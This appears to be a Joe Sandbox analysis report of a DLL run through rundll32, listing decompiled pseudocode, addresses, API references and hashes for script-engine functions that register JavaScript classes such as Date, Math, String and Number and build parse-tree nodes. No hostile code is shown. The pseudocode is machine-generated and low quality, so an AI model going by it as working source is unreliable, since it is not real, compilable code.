									_t263 = _t263 + 8;
									 *((intOrPtr*)( *((intOrPtr*)( *_t251 + 0x30))))();
									_t129 =  *0x1006a1d8();
									_t197 =  *0x1009415c; // 0x0
									if( *((intOrPtr*)(_t257 + 0x8a)) == E10003EE0(_t197, _t129)) {
										_t242 =  *_t251;
										_t241 =  *((intOrPtr*)(_t242 + 0x7c));
										_t171 =  *((intOrPtr*)( *((intOrPtr*)(_t242 + 0x7c))))( *((intOrPtr*)(_t257 + 0x98)),  &_v36, _a12,  &_v20);
										if(_t171 != 0) {
											if(_t171 == 0x18 || _t171 == 2) {
												if( *((intOrPtr*)(_t257 + 0x98)) == 0x1ff10000) {
													_t171 = 0;
												}
											}
										} else {
											 *0x1006a400();
										}
									} else {
										_t171 = 0x1a;
									}
									_v8 = 2;
									 *0x1006a31c();
								} else {
									_t246 =  *_t251;
									_t241 =  *((intOrPtr*)(_t246 + 0x84));
									 *((intOrPtr*)( *((intOrPtr*)(_t246 + 0x84))))(_a12);
									if( *0x1006a2cc() == 0) {
										 *0x1006a468(_t251, 0);
									}
								}
							} else {
								 *0x1006a190();
								_t247 =  *_t251;
								_t241 =  *((intOrPtr*)(_t247 + 0x88));
								_v8 = 3;
								 *((intOrPtr*)( *((intOrPtr*)(_t247 + 0x88))))( &_a4);
								 *0x1006a290( &_a4);
								_v8 = 2;
								 *0x1006a184();
							}
							if( *0x1006a3f8() == 0) {
								if(_t171 != 0x1a) {
									if(_t171 != 0) {
										_t207 =  *0x1009415c; // 0x0
										_t140 = E100049E0(_t207, _t241,  &_a4,  *((intOrPtr*)(_t257 + 0x72)));
										_v8 = 7;
										 *0x1006a42c(_t171, _t140, 0, 1);
										_v8 = 2;
										 *0x1006a184();
									}
								} else {
									 *0x1006a190();
									_t212 =  *0x1009415c; // 0x0
									_v8 = 5;
									E100049E0(_t212, _t241,  &_a8,  *((intOrPtr*)(_t257 + 0x72)));
									_v8 = 6;
									 *((intOrPtr*)( *((intOrPtr*)( *_t251 + 0x30))))( *0x1006a210());
									 *0x1006a234( &_a4, "%ls.%ls()",  *0x1006a210());
									_t253 =  *0x1006a184; // 0x86e1c
									_v8 = 5;
									 *_t253();
									 *0x1006a42c(0x1a,  &_a4, 0, 1);
									_v8 = 2;
									 *_t253();
								}
							}
							_v8 = 1;
							 *0x1006a3d8();
							 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 4))))();
							L28:
							_t111 =  *0x1006a3f8();
							_t185 =  *((intOrPtr*)(_t257 + 0x6a));
							if(_t111 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t185 + 0xe0))))(_a12, 1);
							} else {
								 *((intOrPtr*)( *((intOrPtr*)( *_t185 + 0x1c))))( &_v20);
							}
							_v8 = 0;
							_t115 =  *0x1006a414() | 0xffffffff;
							_t94 = _t257 + 0x22;
							 *_t94 =  *((intOrPtr*)(_t257 + 0x22)) + _t115;
							_v8 = _t115;
							if( *_t94 == 0) {
								_t115 =  *((intOrPtr*)( *((intOrPtr*)( *_t257 + 0x14))))();
							}
							goto L33;
						} else {
							_v8 = 0;
							_t115 =  *0x1006a414() | 0xffffffff;
							_t19 = __ecx + 0x22;
							 *_t19 =  *((intOrPtr*)(__ecx + 0x22)) + _t115;
							_v8 = _t115;
							if( *_t19 != 0) {
								L33:
								 *[fs:0x0] = _v16;
								return _t115;
							} else {
								_t167 =  *((intOrPtr*)( *((intOrPtr*)( *__ecx + 0x14))))();
								 *[fs:0x0] = _v16;
								return _t167;
							}
						}
					}
				} else {
					_push(0x2d);
					_t169 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x6a)))) + 0x24))))();
					 *[fs:0x0] = _v16;
					return _t169;
				}
			}

0x1000ab81
0x1000ab87
0x1000ab92
0x1000ab98
0x1000ab9d
0x1000abae
0x1000abd0
0x1000abd3
0x1000abd6
0x1000abdb
0x1000abde
0x1000abf1
0x1000abf4
0x1000abf8
0x1000ac3c
0x1000ae6b
0x1000ae75
0x1000ae84
0x1000ae88
0x1000ae91
0x1000ae95
0x00000000
0x00000000
0x00000000
0x00000000
0x1000abfa
0x1000abfa
0x1000abff
0x1000ac42
0x1000ac45
0x1000ac4d
0x1000ac50
0x1000ac59
0x1000ac5f
0x1000ac65
0x1000ac6e
0x1000acb1
0x1000ace8
0x1000acf6
0x1000acfa
0x1000acff
0x1000ad04
0x1000ad09
0x1000ad0d
0x1000ad13
0x1000ad25
0x1000ad31
0x1000ad33
0x1000ad4a
0x1000ad4e
0x1000ad5e
0x1000ad6f
0x1000ad71
0x1000ad71
0x1000ad6f
0x1000ad50
0x1000ad53
0x1000ad53
0x1000ad27
0x1000ad27
0x1000ad27
0x1000ad76
0x1000ad7a
0x1000acb3
0x1000acb3
0x1000acb8
0x1000acc1
0x1000acce
0x1000acda
0x1000acda
0x1000acce
0x1000ac70
0x1000ac73
0x1000ac79
0x1000ac7b
0x1000ac87
0x1000ac8b
0x1000ac94
0x1000ac9d
0x1000aca1
0x1000aca1
0x1000ad8b
0x1000ad94
0x1000ae16
0x1000ae20
0x1000ae26
0x1000ae34
0x1000ae38
0x1000ae41
0x1000ae45
0x1000ae45
0x1000ad96
0x1000ad99
0x1000ada7
0x1000adaf
0x1000adb2
0x1000adb9
0x1000adcb
0x1000addf
0x1000ade5
0x1000adf1
0x1000adf4
0x1000ae03
0x1000ae0c
0x1000ae10
0x1000ae10
0x1000ad94
0x1000ae51
0x1000ae55
0x1000ae63
0x1000ae9b
0x1000ae9e
0x1000aea4
0x1000aea9
0x1000aec6
0x1000aeab
0x1000aeb4
0x1000aeb4
0x1000aecb
0x1000aed5
0x1000aed8
0x1000aed8
0x1000aedb
0x1000aede
0x1000aee7
0x1000aee7
0x00000000
0x1000ac01
0x1000ac04
0x1000ac0e
0x1000ac11
0x1000ac11
0x1000ac14
0x1000ac17
0x1000aee9
0x1000aeec
0x1000aefa
0x1000ac1d
0x1000ac24
0x1000ac29
0x1000ac37
0x1000ac37
0x1000ac17
0x1000abff
0x1000abb0
0x1000abb8
0x1000abba
0x1000abbf
0x1000abcd
0x1000abcd

Strings

%ls.%ls(), xrefs: 1000ADD9

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID: %ls.%ls()
API String ID: 0-2021965894
Opcode ID: 0a7716ae0fa031b59af21603f86b1567ba4d09d8afbab30f2bea6cc98472876e
Instruction ID: 6afcf42323f841e726c6c1e4a4d7a7b19557e82ffbddb91dc9b7c33167e8dbdd
Opcode Fuzzy Hash: 0a7716ae0fa031b59af21603f86b1567ba4d09d8afbab30f2bea6cc98472876e
Instruction Fuzzy Hash: DBC1B13460025ADFEB04DFA4C894BAEB7B5FF9A340F10855DE91697390DB74AA84CF60

Uniqueness

Uniqueness Score: -1.00%

Function 1003C6A0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 268
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E1003C6A0(intOrPtr __ecx, intOrPtr _a4, char _a8) {
				intOrPtr* _v8;
				char _v16;
				void* _v20;
				intOrPtr* _v24;
				intOrPtr _v28;
				signed int _t63;
				intOrPtr* _t66;
				void* _t71;
				intOrPtr _t74;
				void* _t76;
				intOrPtr* _t78;
				intOrPtr _t85;
				signed int _t86;
				signed int _t87;
				intOrPtr _t89;
				intOrPtr _t92;
				intOrPtr* _t94;
				intOrPtr _t100;
				void* _t111;
				intOrPtr* _t112;
				signed int _t117;
				intOrPtr _t141;
				intOrPtr _t142;
				void* _t169;
				intOrPtr _t170;
				void* _t175;
				signed int _t184;
				intOrPtr* _t185;
				void* _t186;
				signed int _t187;
				void* _t188;
				void* _t190;
				void* _t204;

				_t63 =  *0x10094144; // 0xa412de5e
				 *[fs:0x0] =  &_v16;
				_t170 = __ecx;
				_t66 =  *0x1006a1d0(0x28, _t63 ^ _t187, _t169, _t175, _t111,  *[fs:0x0], 0x10065325, 0xffffffff);
				_t190 = _t188 - 0xc + 4;
				_v24 = _t66;
				_v8 = 0;
				if(_t66 == 0) {
					_v24 = 0;
					_t112 = 0;
				} else {
					_t4 = _t170 + 0x8c; // 0x8c
					_t112 = E10038140(_t4);
					_v24 = _t112;
				}
				 *((intOrPtr*)(_t112 + 8)) = 0x24;
				_v8 = 0xffffffff;
				if( *((intOrPtr*)(_t170 + 0xa8)) != 2) {
					L38:
					_t50 = _t170 + 0x8c; // 0x8c
					_v20 = _t50;
					E1003AAC0(_t170, _t162, 0x11,  *((intOrPtr*)(_t170 + 0x8c)));
					E1003A9F0(_t170, 0);
					goto L39;
				} else {
					_t10 = _t170 + 0x8c; // 0x8c
					_t162 = _t10;
					_v20 = _t10;
					while(1) {
						_t85 =  *_v20;
						if(_t85 != 0x70) {
							_t86 =  *0x1006a6b4(_t85);
							_t141 = _a4;
							asm("sbb esi, esi");
							_t117 = _t86;
							_t87 = _t86 & 0xe0000000;
							_t184 = ( ~(_t141 - 0x67) & 0x20000000) + 0x40000000;
							if(_t87 != 0x20000000) {
								if(_t87 != _t184) {
									_t142 =  *((intOrPtr*)( *((intOrPtr*)(_t170 + 0x84)) + 0x20));
									if(_t141 != 0x67) {
										_t89 =  *((intOrPtr*)(_t142 + 0x28));
										 *((intOrPtr*)(_t142 + 0x28)) = _t89 + 1;
									} else {
										_t89 =  *((intOrPtr*)(_t142 + 0x24));
										 *((intOrPtr*)(_t142 + 0x24)) = _t89 + 1;
									}
									_t184 = _t184 + _t89;
								} else {
									if(_t87 == 0x60000000 || _t184 == 0x60000000) {
										E1003AAC0(_t170,  *_v20, 0x28,  *_v20);
									}
									_t184 = _t117;
								}
							} else {
								if(_t141 != 0x67) {
									E1003AAC0(_t170, _v20, 0x28,  *_v20);
								} else {
									_t184 = _t117;
								}
							}
							_t162 =  *((intOrPtr*)(_t170 + 0x84));
							 *0x1006a3b8( *_v20, _t184);
							_t112 = _v24;
						} else {
							if(_a4 == 0x39) {
								E1003AAC0(_t170, _t162, 0x28, _t85);
							}
						}
						_t92 =  *0x1006a1d0(0x20);
						_t190 = _t190 + 4;
						_v28 = _t92;
						_v8 = 1;
						if(_t92 == 0) {
							_t185 = 0;
						} else {
							_t185 = E10037280(_v20);
						}
						_v8 = 0xffffffff;
						E1003A9F0(_t170, 0);
						_t94 = _v20;
						if( *_t94 != 0x2d) {
							if(_a8 == 0) {
								if(_t185 != 0) {
									_t162 =  *((intOrPtr*)( *_t185));
									 *((intOrPtr*)( *((intOrPtr*)( *_t185))))(1);
								}
							} else {
								 *0x1006a22c(_t185);
							}
						} else {
							if(_a4 == 0x39) {
								 *_t94 = 0x39;
							}
							 *((intOrPtr*)(_t170 + 0xa8)) = 0xb;
							_t100 =  *0x1006a1d0(0x28);
							_t190 = _t190 + 4;
							_v28 = _t100;
							_v8 = 2;
							if(_t100 == 0) {
								_t186 = 0;
							} else {
								_t162 = _v20;
								_t186 = E10037FD0(_t100, _v20, _t185, 0);
							}
							_v8 = 0xffffffff;
							E1003A9F0(_t170, 0);
							 *((intOrPtr*)(_t186 + 0x24)) = E1003E550(_t170, _t162, _t204, 1, 0);
							 *0x1006a22c(_t186);
						}
						if( *_v20 != 0x24) {
							break;
						}
						E1003A9F0(_t170, 0);
						if( *((intOrPtr*)(_t170 + 0xa8)) == 2) {
							continue;
						}
						goto L38;
					}
					L39:
					_t71 =  *0x1006a16c();
					if(_t71 == 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *_t112))))(1);
						_t74 =  *0x1006a1d0(0x20);
						_a8 = _t74;
						_v8 = 3;
						if(_t74 == 0) {
							 *[fs:0x0] = _v16;
							return 0;
						} else {
							_t76 = E10037F00(_t74, _v20);
							 *[fs:0x0] = _v16;
							return _t76;
						}
					} else {
						if(_t71 == 1) {
							_t78 =  *0x1006a178(0);
							 *0x1006a3c8();
							 *((intOrPtr*)( *((intOrPtr*)( *_t112))))(1);
							 *[fs:0x0] = _v16;
							return  *_t78;
						} else {
							 *[fs:0x0] = _v16;
							return _t112;
						}
					}
				}
			}

0x1003c6b7
0x1003c6c2
0x1003c6c8
0x1003c6cc
0x1003c6d2
0x1003c6d5
0x1003c6da
0x1003c6df
0x1003c6f6
0x1003c6f9
0x1003c6e1
0x1003c6e1
0x1003c6ef
0x1003c6f1
0x1003c6f1
0x1003c6fb
0x1003c709
0x1003c710
0x1003c8e6
0x1003c8ec
0x1003c8f7
0x1003c8fa
0x1003c903
0x00000000
0x1003c716
0x1003c716
0x1003c716
0x1003c71c
0x1003c71f
0x1003c722
0x1003c727
0x1003c74f
0x1003c755
0x1003c75d
0x1003c765
0x1003c767
0x1003c76c
0x1003c777
0x1003c795
0x1003c7c2
0x1003c7c5
0x1003c7d2
0x1003c7d8
0x1003c7c7
0x1003c7c7
0x1003c7cd
0x1003c7cd
0x1003c7db
0x1003c797
0x1003c79c
0x1003c7b0
0x1003c7b0
0x1003c7b5
0x1003c7b5
0x1003c779
0x1003c77c
0x1003c78c
0x1003c77e
0x1003c77e
0x1003c77e
0x1003c77c
0x1003c7e2
0x1003c7f0
0x1003c7f6
0x1003c729
0x1003c72d
0x1003c738
0x1003c738
0x1003c72d
0x1003c7fb
0x1003c801
0x1003c804
0x1003c807
0x1003c810
0x1003c821
0x1003c812
0x1003c81d
0x1003c81d
0x1003c827
0x1003c82e
0x1003c833
0x1003c839
0x1003c8ac
0x1003c8bc
0x1003c8c0
0x1003c8c6
0x1003c8c6
0x1003c8ae
0x1003c8b2
0x1003c8b2
0x1003c83b
0x1003c83f
0x1003c841
0x1003c841
0x1003c849
0x1003c853
0x1003c859
0x1003c85c
0x1003c85f
0x1003c868
0x1003c87c
0x1003c86a
0x1003c86a
0x1003c878
0x1003c878
0x1003c882
0x1003c889
0x1003c899
0x1003c8a0
0x1003c8a0
0x1003c8ce
0x00000000
0x00000000
0x1003c8d4
0x1003c8e0
0x00000000
0x00000000
0x00000000
0x1003c8e0
0x1003c908
0x1003c911
0x1003c914
0x1003c96d
0x1003c971
0x1003c97a
0x1003c97d
0x1003c986
0x1003c9ac
0x1003c9ba
0x1003c988
0x1003c98e
0x1003c996
0x1003c9a4
0x1003c9a4
0x1003c916
0x1003c917
0x1003c934
0x1003c93f
0x1003c94d
0x1003c954
0x1003c962
0x1003c919
0x1003c91e
0x1003c92c
0x1003c92c
0x1003c917
0x1003c914

APIs

l?0ListNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C), ref: 1003C6EA

Part of subcall function 10038140: l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(1003DB14,A412DE5E,00000000,00000000,?,00000000,00000000,100649B0,000000FF,?,1003DB14,0000008C,?,00000000,?,00000000), ref: 1003816F

l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(?), ref: 1003C818
l?0BinaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@1@Z.MAIN(?,00000000,00000000), ref: 1003C873
l?0EmptyNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(?), ref: 1003C98E

Part of subcall function 10037F00: l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(1003D351,-0000008C,?,1003D351,-0000008C), ref: 10037F0A

Strings

9, xrefs: 1003C83B

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Node@ScanScript@@$Info@1@@$BinaryEmptyInfo@1@ListNode@1@1@
String ID: 9
API String ID: 4227246729-2366072709
Opcode ID: f41c28366226c9158cb8346e1b0bdeba5c7e54ccbdced910446fafe64486ee26
Instruction ID: c26e1c4b5cce6739406964c103206c7bca1202ff9d3b67e7a907e1c4820a8dea
Opcode Fuzzy Hash: f41c28366226c9158cb8346e1b0bdeba5c7e54ccbdced910446fafe64486ee26
Instruction Fuzzy Hash: 74A1BC75B042199FDB15CFA5C885FAEB7A2FB49312F104269E90ADF380DB71AD40CB91

Uniqueness

Uniqueness Score: -1.00%

Function 10031A60 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E10031A60(long long __fp0) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t14;
				void* _t19;
				intOrPtr* _t20;
				signed int _t22;

				_t6 =  *0x10094144; // 0xa412de5e
				 *[fs:0x0] =  &_v16;
				_t20 = _t14;
				_v20 = _t20;
				E10007260(_t14, "JavaScript");
				_v8 = 0;
				 *_t20 = 0x1006f960;
				E10007F30(_t20, "Date");
				E100083E0(_t20, 0, 0x1006f378);
				 *0x1006a954(_t6 ^ _t22, _t19, _t14,  *[fs:0x0], 0x10063b70, 0xffffffff);
				 *0x10094188 = __fp0;
				 *[fs:0x0] = _v16;
				return _t20;
			}

0x10031a73
0x10031a7e
0x10031a84
0x10031a86
0x10031a8e
0x10031a9a
0x10031aa1
0x10031aa7
0x10031ab5
0x10031aba
0x10031ac0
0x10031acb
0x10031ad7

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,A412DE5E,00087144,00000000,00000000,10063B70,000000FF,?,10032E7B), ref: 10031A8E
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(Date,JavaScript,A412DE5E,00087144,00000000,00000000,10063B70,000000FF), ref: 10031AA7

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,1006F378,JavaScript,A412DE5E,00087144,00000000,00000000,10063B70,000000FF), ref: 10031AB5

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

JavaScript, xrefs: 10031A89
Date, xrefs: 10031A93

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: Date$JavaScript
API String ID: 2248442671-1441692830
Opcode ID: a619294c1d8cb699208f7b08ed73ddae69cc948bcb333bcc0871d2871bd2bcfb
Instruction ID: 2d3042982fd8f08a70fdef321c0c12f1398f57dad8550a8be2330fc882a2e4d9
Opcode Fuzzy Hash: a619294c1d8cb699208f7b08ed73ddae69cc948bcb333bcc0871d2871bd2bcfb
Instruction Fuzzy Hash: EEF09075A18668FBE715DF48CC41FAAB7A9F749B60F00025FF51593780DBB92A008BD4

Uniqueness

Uniqueness Score: -1.00%

Function 10037000 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E10037000() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(0x10064673);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0xa412de5e
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x100703e4;
				E10007F30(_t19, "Math");
				E100083E0(_t19, 0, 0x10070190);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x10037003
0x10037005
0x10037010
0x10037011
0x10037013
0x1003701a
0x1003701e
0x10037024
0x10037026
0x1003702e
0x1003703a
0x10037041
0x10037047
0x10037055
0x1003705f
0x1003706b

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,A412DE5E,00087144,00000000,00000000,10064673,000000FF,?,10032E53), ref: 1003702E
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(Math,JavaScript,A412DE5E,00087144,00000000,00000000,10064673,000000FF), ref: 10037047

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,10070190,JavaScript,A412DE5E,00087144,00000000,00000000,10064673,000000FF), ref: 10037055

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

Math, xrefs: 10037033
JavaScript, xrefs: 10037029

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: JavaScript$Math
API String ID: 2248442671-1755700783
Opcode ID: 99ba1fc89ea73b7d556ebffb76005af95b2fec2982b66d4abe6852a3582bea66
Instruction ID: 6d7e13f1b79afd3487ba3429341c5e64810f965f9c791ef4be170989c88ade2a
Opcode Fuzzy Hash: 99ba1fc89ea73b7d556ebffb76005af95b2fec2982b66d4abe6852a3582bea66
Instruction Fuzzy Hash: 1EF0BE75A186A8EBE714CF48CC01FAAB7A9F709A60F00431BF41597780DBB92A0087D8

Uniqueness

Uniqueness Score: -1.00%

Function 10045890 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E10045890() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(0x10066606);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0xa412de5e
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x1007187c;
				E10007F30(_t19, "String");
				E100083E0(_t19, 0, 0x10071580);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x10045893
0x10045895
0x100458a0
0x100458a1
0x100458a3
0x100458aa
0x100458ae
0x100458b4
0x100458b6
0x100458be
0x100458ca
0x100458d1
0x100458d7
0x100458e5
0x100458ef
0x100458fb

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,A412DE5E,00087144,00000000,00000000,10066606,000000FF,?,10032EF3), ref: 100458BE
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(String,JavaScript,A412DE5E,00087144,00000000,00000000,10066606,000000FF), ref: 100458D7

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,10071580,JavaScript,A412DE5E,00087144,00000000,00000000,10066606,000000FF), ref: 100458E5

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

JavaScript, xrefs: 100458B9
String, xrefs: 100458C3

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: JavaScript$String
API String ID: 2248442671-2943566276
Opcode ID: 1b422f3033befb78c7e4b89240596608756531079ff86f4b62f9bfdabd683ee9
Instruction ID: f99d99e1a14fd6120ab0a6bf872ef9aa47d58ab78b1c5239c898383848b8718f
Opcode Fuzzy Hash: 1b422f3033befb78c7e4b89240596608756531079ff86f4b62f9bfdabd683ee9
Instruction Fuzzy Hash: E5F0E275A18568ABD714CF88CD01FAAB7E9F708B60F00422FF455937C0DBB92A008BD8

Uniqueness

Uniqueness Score: -1.00%

Function 10039170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E10039170() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(0x10064b38);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0xa412de5e
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x1007075c;
				E10007F30(_t19, "Number");
				E100083E0(_t19, 0, 0x10070640);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x10039173
0x10039175
0x10039180
0x10039181
0x10039183
0x1003918a
0x1003918e
0x10039194
0x10039196
0x1003919e
0x100391aa
0x100391b1
0x100391b7
0x100391c5
0x100391cf
0x100391db

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,A412DE5E,00087144,00000000,00000000,10064B38,000000FF,?,10032F1B), ref: 1003919E
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(Number,JavaScript,A412DE5E,00087144,00000000,00000000,10064B38,000000FF), ref: 100391B7

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,10070640,JavaScript,A412DE5E,00087144,00000000,00000000,10064B38,000000FF), ref: 100391C5

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

Number, xrefs: 100391A3
JavaScript, xrefs: 10039199

Memory Dump Source

